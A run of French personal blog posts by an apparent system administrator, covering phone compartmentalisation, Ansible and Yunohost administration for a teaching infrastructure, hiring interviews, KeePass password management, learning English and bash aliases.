J'ai actuellement deux téléphones, un téléphone personnel et un professionnel, de type smartphone. Mon pseudonyme étant connu de mon employeur, avec le temps, comme je l'explique dans ma conférence "Du pseudonymat au pseudonyme", mon modèle de menace a évolué et du coup mes usages ne sont plus les mêmes. Ce billet se veut une sorte d'état des lieux de la séparation que je fais et de la porosité qu'il existe tout de même.

Appliquant comme toujours des règles d'hygiènes numériques, je n'installe que le strict minimum, des applications dont j'ai besoin, je fais le ménage dans les permissions. Dès que possible, j'utilise des applications libres issues des dépôts de F-Droid ; toutefois certaines applications ne se trouvant que sur le PlayStore de Google, je passe par lui (pas encore fait les manipulations pour outrepasser ça en récupérant les applications d'une autre façon). Sur le téléphone professionel, associé à un compte sous mon vrai nom, j'ai des applications qui sont nécessaires à mon usage professionnel. Des applications liées aux transports par exemple (Air France ou SNCF) que je n'ai pas sur mon téléphone personnel, ces applications sont liées à mes comptes correspondants.

Certaines applications liées aux réseaux sociaux comme Twitter ou Mastodon, celle de prise de notes (Nextcloud) ou de veille (EasyRss, Wallabag) sont installées sur les deux téléphones et liées au même compte en ligne (ou à mon cloud personnel), celui lié à mon pseudonyme. Comme mon pseudonyme n'est plus du pseudonymat, cela ne me pose pas de soucis et me permet donc d'avoir accès le midi facilement, entre deux usages pro (regarder des mails) aux applications qui me permettent de faire ma veille. Pour les mails, mails pro sur le téléphone pro, mails perso sur le téléphone perso.

J'avais rédigé une synthèse fortement inspiré d'un billet de Taziden sur la différence entre Silence et Signal. J'utilise Silence dans le cadre personnel. J'utilise Signal comme service de messagerie SMS par défaut sur mon téléphone professionnel. Pourquoi ? Signal possède un client installable sur PC qui permet d'envoyer et de récupérer les messages qui sont échangés de façon sécurisé au sein de l'application. Cela montre bien que les messages sont stockés sur le serveur (vu que la synchronisation est possible entre un smartphone et un PC). Pratique pour échanger via un canal sécurisé.

Je me suis posé la question de pourquoi pas un téléphone avec deux cartes sim (un dual-sim) ? Cela serait plus simple que d'avoir sans cesse deux téléphone sur soi ?. La séparation des usages permet aussi un droit à la déconnexion : je suis joignable aux heures ouvrées sur mon téléphone pro, je le coupe ensuite. Mon téléphone perso est allumé sur des amplitudes plus large. Je ne sais pas si ça se gère bien avec un téléphone dual-sim (couper une puce selon des plages horaires). Sûrement.

De plus, j'ai deux comptes Android différents (un par téléphone) et il y a des choses que je veux continuer à séparer /cloisonner. Je gère finement les permissions comme je le disais. Je n'active la géolocalisation que quand c'est nécessaire. Parfois les deux téléphones sont allumés, parfois le téléphone pro est éteint et seulement le téléphone personnel l'est. Le recoupement de données des deux comptes est tout à fait possible, vu que mon pseudonymat n'est plus qu'un pseudonyme. Ce cloisonnement est donc assez théorique et ne tient pas dans le cadre d'un modèle de menace élevé, ce qui n'est pas mon cas actuellement, du moins pour mon pseudonyme.

Chatonkademy – Billet N°2 – Ansible pour les mises à jour

Série de billets sur le projet Chatonkademy

Introduction

Un billet déjà écrit avec quelques commandes Ansible Jouons avec Ansible et Virtualbox, dans celui-ci je donnerai quelques astuces et commandes sur l'usage d'Ansible pour des choses simples. En effet, le projet Chatonkademy contient, entre autre 40 machines virtuelles sous Debian 9 (une par étudiant), que je souhaite gérer facilement. D'où Ansible.

Prérequis

Avoir des machines installées, avec un serveur SSH actif et configuré. L'installation des 40 machines, la configuration par SSH (pour automatiser la création de l'utilisateur, de la machine etc.) fera l'objet d'un billet plus complexe sur Ansible. Car il y a une seule IP publique pour la machine superviseur (sous Proxmox), on part d'un parc de 40 machines déjà installées et configurées à minima. Toutes accessibles en SSH sur un port différent du 22 (avec redirection au niveau de l'hyperviseur).

Connexion SSH par clef publique

Copie de la clef ssh publique de l'utilisateur que j'ai sur ma machine principale (j'ai le même utilisateur sur les machines en face) sur toutes les machines via

#!/bin/bash
sshpass -p 'password' ssh-copy-id genma@chaton01.chatonkademy.com -p 20122
sshpass -p 'password' ssh-copy-id genma@chaton02.chatonkademy.com -p 20222
sshpass -p 'password' ssh-copy-id genma@chaton03.chatonkademy.com -p 20322

Pour pouvoir me connecter en ssh depuis ma machines dans .ssh/config j'ai ajoué

host chaton01.chatonkademy.com
HostName chaton01.chatonkademy.com
Port 20122
host chaton02.chatonkademy.com
HostName chaton02.chatonkademy.com
Port 20222
host chaton03.chatonkademy.com
HostName chaton03.chatonkademy.com
Port 20322
(...)

Ansible les bases

Dans le fichier /etc/ansible/hosts j'ai ajouté

[chatonkademy_std]
chaton01.chatonkademy.com:20122
chaton02.chatonkademy.com:20222
chaton03.chatonkademy.com:20322
(...)

Quelques tests avec un appel de commande pour valider qu'Ansible marche bien

ansible openhackademy -m command -u genma --args "uptime" --one-line
ansible openhackademy -m command -u genma --args "df -h" --one-line

On remplacera le args par une commande simple que l'on veut et on redirigera la sortie standard dans un fichier que l'on analysera par la suite.

Ansible playbook pour mises à jours

Création d'un playbook Ansible pour les mises à jours dans le fichier hosts update_upgrade.yml

---
- hosts: chatonkademy_std
remote_user: genma
become_method: sudo
become_user: root

tasks:
- name: update and upgrade apt packages
apt:
update_cache=yes
state=latest
upgrade=yes

Lancement du playbook

ansible-playbook -i /etc/ansible/hosts update_upgrade.yml -K

Résultat de l'exécution

ansible-playbook -i inventory/production/chatonkademy update_upgrade.yml -K
SUDO password:
[DEPRECATION WARNING]: Instead of sudo/sudo_user, use become/become_user and make sure become_method is 'sudo' (default). This feature will be removed in version 2.6.
Deprecation warnings can be disabled by setting deprecation_warnings=False in ansible.cfg.

PLAY [chatonkademy] **********************************************************

TASK [Gathering Facts] ******************************************************
ok: [chaton01.chatonkademy.com]
ok: [chaton02.chatonkademy.com]
ok: [chaton03.chatonkademy.com]
ok: [chaton04.chatonkademy.com]

TASK [update and upgrade apt packages] **************************************
[WARNING]: Could not find aptitude. Using apt-get instead.
changed: [chaton04.chatonkademy.com]
changed: [chaton01.chatonkademy.com]
changed: [chaton03.chatonkademy.com]
changed: [chaton02.chatonkademy.com]

PLAY RECAP *****************************************************************
chaton02.chatonkademy.com : ok=2 changed=0 unreachable=0 failed=0
chaton03.chatonkademy.com : ok=2 changed=0 unreachable=0 failed=0
chaton04.chatonkademy.com : ok=2 changed=0 unreachable=0 failed=0

Conclusion

Les machines virtuelles sont utilisables via Ansible pour la maintenance etc. On va pouvoir des choses intéressantes. A suivre dans un projet billet sur le projet Chatonkademy !

Chatonkademy – Billet N°1 – Les utilisateurs

Série de billets sur le projet Chatonkademy

Introduction
Le projet continue et d'autres billets sont en cours de rédaction. Je publie celui-ci pour partager quelques astuces de bases dont j'ai eu besoin. Dans celui-ci, quelques astuces sur les utilisateurs et Yunohost (rappel : dans le projet il y a une instance Yunohost multi utilisateur).

Créer des utilisateurs en masse dans Yunohost

On fait appel à la moulinette. On crée un script du type
Dans le présent script, les mot de passe sont en dur

#!/bin/bash

yunohost user create chaton01 -p motDePasseChaton01 -f chaton01 -l chaton01 -m chaton01@chatonkademy.com --admin-password motDePassAdminYunohost
yunohost user create chaton02 -p motDePasseChaton02 -f chaton02 -l chaton02 -m chaton02@chatonkademy.com --admin-password motDePassAdminYunohost
yunohost user create chaton03 -p motDePasseChaton03 -f chaton03 -l chaton03 -m chaton03@chatonkademy.com --admin-password motDePassAdminYunohost
yunohost user create chaton0X -p motDePasseChaton04 -f chaton0X -l chaton0X -m chaton0X@chatonkademy.com --admin-password motDePassAdminYunohost

Largement améliorable en utilisant des variables pour les mots de passe utilisateur et le mot de passe administrateur, ce qui évite de les mettre en dur au sein du script.

Applications

Dans mon cas, tous les utilisateurs ont accès à toutes les applications. J'ai installé les applications après la création des utilisateurs.
Je ferai un billet (ou plusieurs) sur le cas des applications.

Surveiller leurs connexions

Le besoin est le suivant : les utilisateurs ont été crées, le mot de passe communiqués. Comment suivre si l'instance Yunohost est bien utilisée et si oui par quels utilisateurs. Il y a plusieurs façons de faire et de voir il y a des connexions des utilisateurs.

Tous les logs de connexion se trouvent dans le fichier /var/log/nginx/chatonkademy.com-access.log

Les logs étant compressés, on peut passer par zcat et créer un fichier de cumul des logs dans /tmp/access.log pour avoir un suivi depuis le début de la création de l'instance.

cat /var/log/nginx/chatonkademy.com-access.log >> /tmp/access.log
zcat /var/log/nginx/chatonkademy.com-access.log.*.gz >> /tmp/access.log

Un peu de shell en une ligne permet de faire pas mal de choses, selon les besoins. Quelques exemples :

Ip et utilisateur

root@cloud:# cat /tmp/access.log |cut -f1 -d '[' |sort -u
1.2.3.1 - chaton01
1.2.4.5 - chaton02
1.2.1.2 - chaton03
1.2.1.2 - chaton01
1.2.1.4 - chaton04

Nombre de connexion par utilisateur

cat /tmp/access.log |grep -v "\- \-" |cut -f1 -d '['|cut -d "-" -f2 |sort |uniq -c |sort -nr
5733 chaton03
1525 chaton02
1334 chaton01
913 chaton04

Quel(s) utilisateur(s) se connecte quel jour ?

cat /tmp/access.log |cut -f1 -d ']' |grep -v "\- \-" |cut -f1 -d ':'|cut -f2 -d '-'|uniq |sed 's/\[//g'
chaton04 11/Apr/2018
chaton01 11/Apr/2018
chaton04 11/Apr/2018
chaton01 11/Apr/2018
chaton03 12/Apr/2018
chaton02 12/Apr/2018
chaton01 12/Apr/2018
chaton02 12/Apr/2018
chaton03 12/Apr/2018

Analyse des logs en graphique

On pourra envisager l'installation de la suite ELK (ElasticSearch Logstash Kibana, pourquoi pas) avec des dashbords qui vont bien pour avoir le reporting des connexions. Pour faire faire plus simple et déjà avoir quelques graphiques, j'ai eu recours un GoAccess. Voir à ce sujet Yunohost - Goaccess - Rapport HTML depuis des logs d'un serveur web.

J'ai repris l'idée de faire l'installation de customWebApp dans Yunohost appelée "Logs" dans laquelle je dépose un fichier index.html qui est le rapport généré par GoAccess

Création d'un script qui contient

#/bin/bash
goaccess --log-format=COMBINED -f /tmp/access.log -a -o /var/www/my_webapp/www/index.html

On le lance via

./root/script_goaccess.sh

On consulte les logs via https://chatonkademy.com/logs/ tout simplement.

Faire passer des entretiens

Dans mon billet Faire passer des entretiens - mes quelques questions subjectives, j'expliquais que dans le le cadre de mon travail et de mes responsabilités de chef d'équipe, je suis amené à faire faire des entretiens. J'expliquais le fait que j'ai une série de questions techniques et une série de questions de culture générale que je qualifiais de subjectives.

Dans le présent article, je voudrais parler de ce que le fait de faire passer ces entretiens m'a appris sur la façon de faire passer des entretiens mais également sur moi-même.

Un premier entretien avec la responsable des ressources humaines, permettant de comprendre et jauger (juger ?) le parcours de la personne, sa personnalité a été fait et a conduit à une première sélection. Les différents chefs d'équipe, qui, comme moi, font passer les entretiens, nous sommes la seconde étape dans le processus de recrutement. Notre rôle est d'évaluer le niveau et les compétences techniques du candidat. Dans le cas où le niveau requis est là et l'entretien est concluant, cela donne l'accès à un entretien final avec un supérieur / dirigeant de l'entreprise (au cours duquel sont vu par exemple, la négociation du salaire, le poste final, les missions envisagées etc.)

On attend donc de moi de faire un entretien technique. Le niveau technique est discriminant : un niveau insuffisant est éliminatoire. Tel est la directive. Je nuance : le niveau attendu pour un stagiaire, un alternant, n'est pas le même que pour un profil confirmé, une personne qui a de l'expérience. Pour les personnes confirmées, l'expérience montre qu'un niveau insuffisant, même avec de la motivation, ne permettent pas, dans les conditions actuelles, de répondre aux attentes et besoins. Les missions que nous avons en administration système nécessite d'être aguerri, efficace rapidement, de pouvoir monter en compétence et de s'investir dès le début.

Comme je fais passer l'entretien pour une personne avec laquelle je vais potentiellement travailler, je vais plus loin que le simple entretien technique. Je prends le temps de discuter et de cerner la personnalité de la personne, de voir si nous avons des affinités, quel est mon ressenti... Quand l'entretien prend plus de temps que le temps alloué initialement, c'est signe d'une chose : la personne a fait un bon test et retient mon attention, je vais en savoir un peu plus sur elle (et les informations recueillies sont ajoutées à la fiche d'évaluation et me permettent de confirmer mon choix).

Dans les choses positives, il y a le fait que je n'ai pas d'a priori sur les personnes. Je pense que celles et ceux qui me connaissent en dehors du blog pourront en témoigner, du moins je l'espère. Et que le candidat a sa chance et s'il réussit le test technique, il a validé cette étape de recrutement.

Dans les choses négatives, il y a le fait que j'ai du apprendre à ne pas avoir de compassion et à être objectif. L'entretien technique est discriminant et je ne peux pas repêcher des candidats. Certes, j'ai des personnes en face de moi qui ont un vécu, une personnalité, qui sont parfois en recherche d'emploi. Mais quand j'ai le moindre doute sur la motivation, la capacité technique ou la capacité à progresser et monter en compétence (avec l'expérience, entretien après entretien, ce jugement s'affine), je n'hésite plus à donner une appréciation négative, ce qui se conclue par la fin du processus de recrutement. Dis de façon naïve, je ne peux pas être gentil car ce n'est pas aider la personne que de lui donner un emploi pour lequel on sait par avance que ce sera un échec, tant pour elle, que pour l'entreprise. Toutefois, je donne des conseils, j'explique à la personne ce que j'attendais, le niveau d'exigence que j'avais, je la conseille sur comment mieux se préparer, sur quoi apprendre...

Je suis exigeant avec moi-même et je le suis donc avec les personnes que je veux dans mon équipe. Et celles et ceux qui travaillent avec moi au quotidien pourrait en témoigner. Je suis exigeant, mais juste. J'explique ce que j'attends, ce que je veux. Je donne des conseils, je fais pars de mon expérience. Je suis preneur des critiques et à l'écoute, pour m'améliorer. Et j'ai déjà eu des remarques sur ma façon de gérer l'équipe, que j'ai essayé de prendre en compte pour m'améliorer.

Faire passer des entretiens, c'est comprendre qu'on a le droit de se tromper, mais qu'il faut apprendre de ses erreurs de jugement. C'est comprendre que l'on va perdre des illusions. On recrute pour un emploi, pour travailler dans une entreprise dont le but est de gagner de l'argent (pour au moins pouvoir payer les salaires en fin de mois des différents employés, on mettra de côté la considération capitaliste). Et on ne peut donc pas laisser place à la subjectivité.

Coffre-fort de mot de passe : état des lieux

Pour (re)définir ce que j'entends par Coffre-fort de mot de passe, je dirai ceci : "Dans le guide d'hygiène numérique, j'évoque le fait qu'il faut avoir un mot de passe différent généré aléatoirement par site, le tout stocké dans un logiciel dédié, un coffre-fort de mot de passe, qui s'ouvre avec une phrase de passe"

J'ai écrit différents articles de sensibilisation et de partage sur les mots de passe et les coffres-forts de mot de passe et je vous mets la série de lien ci-dessous :
- Les phrases de passe
- Changement de mot de passe et testament numérique
- Keepass au quotidien c'est possible
- A.I.2 - Porte blindée ou coffre-fort ?
Et d'une façon générale, Les billets tagués Keepass

Il existe des solutions de service en ligne qui ont l'avantage de proposer une synchronisation (via Internet) entre différents appareils (ordinateur, smartphone, tablette), mais dont le code source n'est pas accessible. Les experts en sécurité des podcasts que j'écoute (Le Comptoir Sécu pour ne pas le nommer) utilise et vante ce type de solution. Personnellement, adepte du logiciel libre, j'ai fait depuis un moment le choix de Keepass. Il faut un petit temps d'adaptation, car un gestionnaire de mot de passe (l'autre nom pour coffre-fort de mot de passe) demande un petit temps d'appropriation. Avec le temps, le réflexe est là : toute nouvelle inscription sur un site passe par la création d'une fiche dans Keepass, la création d'un mot de passe aléatoire utilisé uniquement pour le site en question.

Quelle solution pour une synchronisation ?

Différents billets de blogs et messages dans des forums proposent une même solution, à savoir :
- KeepassX (dans mon cas je suis passé à KeepassXC) ;
- Synchronisation du fichier de base de données via Nextcloud ;
- Application Keeweb intégrée à Nextcloud pour avoir un accès web ;
- Application Keepass2Android et synchronisation Webdav ou via l'application Nextcloud pour un usage mobile.

Quid des sauvegardes ?

Le fait d'avoir un coffre-fort de mot de passe synchronisé entre plusieurs appareils ne fait pas que l'on en a une sauvegarde. Car si on modifie / supprime un des mots de passe du coffre-fort, avec la synchronisation, la suppression est copié dans toutes les versions et on perd définitivement le mot de passe. Les recommandations liées aux sauvegardes s'applique donc là aussi : on copiera régulièrement le fichier du coffre-fort numérique sur un espace de confiance (par exemple un disque externe sur lequel on fait ses sauvegardes, disque que l'on conserve soigneusement).

Quid de la sécurité ?

La sécurité de Keepass tient essentiellement à la qualité et la complexité (la longueur) de la phrase de passe (il faut également penser à mettre à jour le logiciel).

La synchronisation via Nextcloud pose le soucis de la sécurisation de Nexcloud en lui-même (il faut maintenir le serveur à jour et de façon sécurisé et de préférence déléguer cette partie à un administrateur système de confiance, comme au sein des CHATONS par exemple).

Dans le cas de la synchronisation par un client Nexcloud sur son téléphone, on a donc une copie de son coffre-fort numérique sur son téléphone. Tout comme avec son ordinateur (rappel les smartphones ne sont rien d'autres que des ordinateurs au format poche), il faut donc protéger son appareil avec un code, nécessaire au déverrouillage. Et activer le chiffrement du disque.

Autre solution (complémentaire) : avoir deux conteneurs Keepass. Un avec les mots de passe usuels que l'on peut utiliser sur un smartphone et un avec les mots de passe critique qu'on n'utilisera que sur des appareils de confiance, qui risquent peu (il y a toujours un risque, quelque soit l'appareil, mais il est plus facile de voler un smartphone - ou de le perdre) qu'un ordinateur de type tour qui ne bouge pas de son bureau.

Chatonkademy – Billet N°0 – Présentation du projet

Dans le cadre du projet d'une école du numérique auquel je participe, l'OpenHackademy, nous (des membres d'une de mes équipes et moi-même) avons été amené à mettre en place l'infrastructure informatique qui sert aux apprenants dans le cadre de leur formation.

Au fur et à mesure, nous documentons tout ça en interne. Comme je me dis que l'expérience peut être utile à d'autres, je débute par le présent billet une une série de billets techniques relatant tout ce que nous avons pu apprendre dans la mise en place de cette infrastructure et son maintien au quotidien, son évolution...

Ce retour d'expérience se basera également sur l'expérience d'autres CHATONS avec lesquels j'ai pu échangé et discuté, venant ainsi compléter si besoin mes propos, proposer d'autres solutions logicielles que celle que j'ai pu mettre en place si il y a lieu, justifiant ainsi les choix techniques réalisés.

Présentation du projet

Pourquoi Chatonkademy ? Ce petit nom n'est autre que la contraction de CHATON et OpenHackademy. Pour l'OpenHackademy je vous renvoie vers >mon billet de blog dédié sur le sujet. Pour les CHATONS, le Collectif des Hébergeurs Alternatifs,Transparents, Ouverts, Neutres et Solidaires, vers le site du projet : https://chatons.org

En quelques mots, CHATONS ce sont les AMAP de l'informatique libre. Promouvant le projet au travers mon implication au sein de l'association Framasoft.

L'infrastructure

L'infrastructure repose sur un hyperviseur tournant sous Proxmox avec une IP fixe (en IPv4) et une IPv6, les différentes problématiques liées à l'usage d'une seule IP publique avec des ports particuliers (web, ssh etc.) seront abordés dans des billets dédiés.

Les machines virtuelles

Chaque étudiant a sa propre machine virtuelle pour son apprentissage. Les machines virtuelles sont gérées par les étudiants qui ont les droits administrateurs sur les machines (via un compte sudoers). Nous avons déployés ces machines sous Debian 9 et nous les avons "ansibelisées" : les playbooks etc. seront mis à disposition dans des billets dédiés. L'intervention sur plusieurs machines à distance en même temps (pour saisir la même commande), la gestion des logs centralisés pour ces différentes machines, leurs sauvegardes etc. Toutes ces problématiques donneront lieu, là encore, droit à des billets dédiés.

Yunohost

Ayant sensibilisé les apprenants au projets aux problématiques tel Le cloud, c'est l'ordinateur d'un autre et à celui de faire de la veille, (voir à ce sujet mon billet Le combo gagnant pour optimiser sa veille), j'ai mis en place une instance Yunohost multi-utilisateurs. Je suis administrateur de l'instance, chaque étudiant a son compte sur Yunohost et les applications que je lui mets à disposition.

Je ferai un ou plusieurs billets dédiés sur la gestion de Yunohost dans le cadre d'un certain nombre d'utilisateurs (40), le côté mono ou multi-utilisateur des applications (partagée publiquement ou non, cloisonnée pour chaque utilisateur ou non). Cette expérience sera également l'occasion de passer d'une instance Yunohost personnelle à une instance de plus grand niveau. Selon la sollicitation de l'instance, je serai amené à augmenter ou réduire sa capacité matérielle (ce qui se fait aisément vu qu'il s'agit d'une machine virtuelle), je ferai des retours d'expériences sur quelle type de machine pour combien d'utilisateur en même temps.

Conclusion

Pour conclure ce premier billet numéroté 0, il y a déjà pas mal de choses à rédiger et mettre en forme, à anonymisée avant de mettre à disposition sous la forme de tutoriels et billets de blogs. Ce premier billet donne, je pense, une bonne idée des billets et projets à venir (tous les chantiers ne sont pas finis et pour beaucoup la peinture n'est pas encore sèche). A suivre donc :)

Communiquer en anglais

Il y a quelques mois (années), dans le cadre de ma recherche d'un nouvel emploi, j'avais essayé de traduire un article rédigé en français en anglais. L'objectif était de donner plus de visibilité à mon propos. J'avais déjà fait pas mal de traduction dans le sens anglais vers français, soit des versions (avoir appris le latin au collège en faisant une version du texte de la Guerre des Gaules de Jules César a laissé quelques traces dans mon vocabulaire), pour différents projets (EFF, Framasoft). Mais je n'avais jamais vraiment fait l'inverse, soit du thème, ou une traduction du français vers l'anglais. Les quelques retours et critiques constructives de mon texte en anglais (il faudrait te faire relire - aider) m'avait montré que j'avais encore de gros progrès à faire. En effet, le fait de partir sur une traduction d'un billet en français (une traduction qui n'était pas mot à mot mais presque) et non une œuvre originale était le soucis principal : il aurait fallu que je prenne plus soin d'être dans l'adaptation, voir que je réécrive le billet complètement de novo, plutôt que d'être dans une traduction.

Depuis quelques mois, ayant eu à interagir en anglais avec des collaborateurs, j'ai pu constater mes propres progrès dans mon aisance à m'exprimer dans cette langue. Avoir à parler dans une conversation courante en anglais régulièrement permet de se sentir plus à l'aise, de travailler son accent, son vocabulaire, sa réactivité dans les interactions. Chaque jour, ma progression passe également, de façon plus passive, par le visionnage de série en VO ST VO (merci Netflix pour ça) avant de passer à un mode visionnage sans sous-titre.

Je ne suis pas encore en mode publication d'article de blog directement en anglais. Mais je m'entraîne à faire des phrases et traits d'esprit via les réseaux sociaux. Sur Twitter, je fais donc de plus de messages en anglais. L'anglais permet permet des phrases plus longues et d'exprimer plus de choses dans le nombre de caractères impartis. On retrouve l'exercice de choisir ses mots avec soin, de jouer avec la langue, de faire de l'humour dans cette langue. Faire un compte dédié en anglais serait possible mais ce serait chronophage de gérer deux comptes, la majorité de mes abonnés sont des personnes techniques et l'anglais technique est un prérequis et est donc connu, ce qui n'est donc pas un frein à leurs compréhensions. Et pour moi, m'exprimer en anglais régulièrement me permet de m'entraîner dans ce mode d'expression tout en touchant un public plus large (international contrairement à un public francophone).

En parlant de toucher un public plus large, j'ai maintenant pour objectif de pouvoir donner une conférence en anglais à un congrès international. J'ai postulé avec un sujet de conférence lié à mon emploi / l'entreprise pour laquelle je travaille. Si ma candidature / proposition est retenue, j'aurai quelques semaines pour préparer et répéter ma conférence pour qu'elle soit fluide et rodée (ce que je ne fais jamais pour les conférences que je donne en français). Je communiquerai sur le sujet le moment venu.

Lifehacking avec les alias bash

Définition des alias bash

Les alias permettent de définir des raccourcis pour vos commandes saisies dans en console. Ainsi, une commande fréquente et relativement longue sera rendue accessible en tapant un simple mot clé prédéfini par le système ou que nous aurons créé (raccourcis).
Documentation sur Debian-facile.org et sur le site Ubuntu-fr.org

Mes alias

Les alias personnels sont donc crées dans le fichier /.bash_aliases

J'ai différents alias repris de tutoriel que l'on peut trouver du type les 30 alias bash les plus utiles. Je n'ai gardé que certains qui me sont utiles.

alias rm='rm -i' # -i -> demande de confirmation
alias cp='cp -i' # -i -> demande de confirmation
alias mv='mv -i' # -i -> demande de confirmation

# Alias GREP
alias grep='grep --color=auto'
alias fgrep='fgrep --color=auto'
alias egrep='egrep --color=auto'

# Alias DU
alias du='du -h --max-depth=1'
alias du+='du -h --max-depth=1 | sort -h -r | less'
alias dusort='du -x --block-size=1048576 | sort -nr'
alias df='df -h'

Et j'ai créé les miens. Parmi ceux là, en voici quelques-uns :

J'utilise désormais Borg comme outil de sauvegarde et du coup je me suis fais des alias pour pouvoir me rendre directement dans le bon dossier, lancer ma sauvegarde de mes Documents avec Borg, faire le ménage...

# ===========================
# Alias Sauvegardes pour BORG
# ===========================

alias borgDossier='cd /media/genma/_Stockage/BorgBackup/'
alias borgDocument='borg create -v --stats ./::`date +%Y-%m-%d-%H:%m:%S` /home/genma/Documents/'
alias borgPurge='borg prune -v --list --keep-daily=7 --keep-weekly=4 --keep-monthly=-1 .'
alias borgUmount='borg umount /Backup/BorgBackup/MontageBackup'

J'utilise différentes version de Firefox et de Thunderbird pour faire de test avec

# ============================
# Alias Firefox
# ============================
alias firefoxDevelopper='~/LOGICIELS/Firefox_Developper_Edition/firefox -no-remote -p'
alias firefoxNightly='~/LOGICIELS/Firefox_Nigthly/firefox -no-remote -p'
alias firefoxESR='~/LOGICIELS/Firefox_ESR/firefox -no-remote -p'
alias thunderbirdBeta='~/LOGICIELS/thunderbirdBeta/thunderbird -no-remote -p'
alias thunderbirdAlpha='~/LOGICIELS/thunderbirdAlpha/thunderbird -no-remote -p'

En quoi est-ce du lifehacking ?

J'utilise de plus en plus le terminal avec comme outil Terminator (un terminal qui permet d'utiliser des onglets, de séparer la fenêtre courante en sous shell...). Et pour être plus efficace pour des commandes que j'ai régulièrement à utiliser, toute commande qui est régulièrement utilisée pour le lancement / redémarrage de service est définie en tant qu'alias... J'envisage de faire un playbook dédié Ansible pour déployer un fichier .bash_alias de référence sur les différentes machines et serveurs sur lesquelles je me connecte régulièrement...

L'avantage des bash_aliases est que je gagne réellement en efficacité. Et c'est en ças que c'est du Lifehacking.

L'inconvénient est que je ne connais pas / plus toutes les options de beaucoup de commandes Shell par coeur...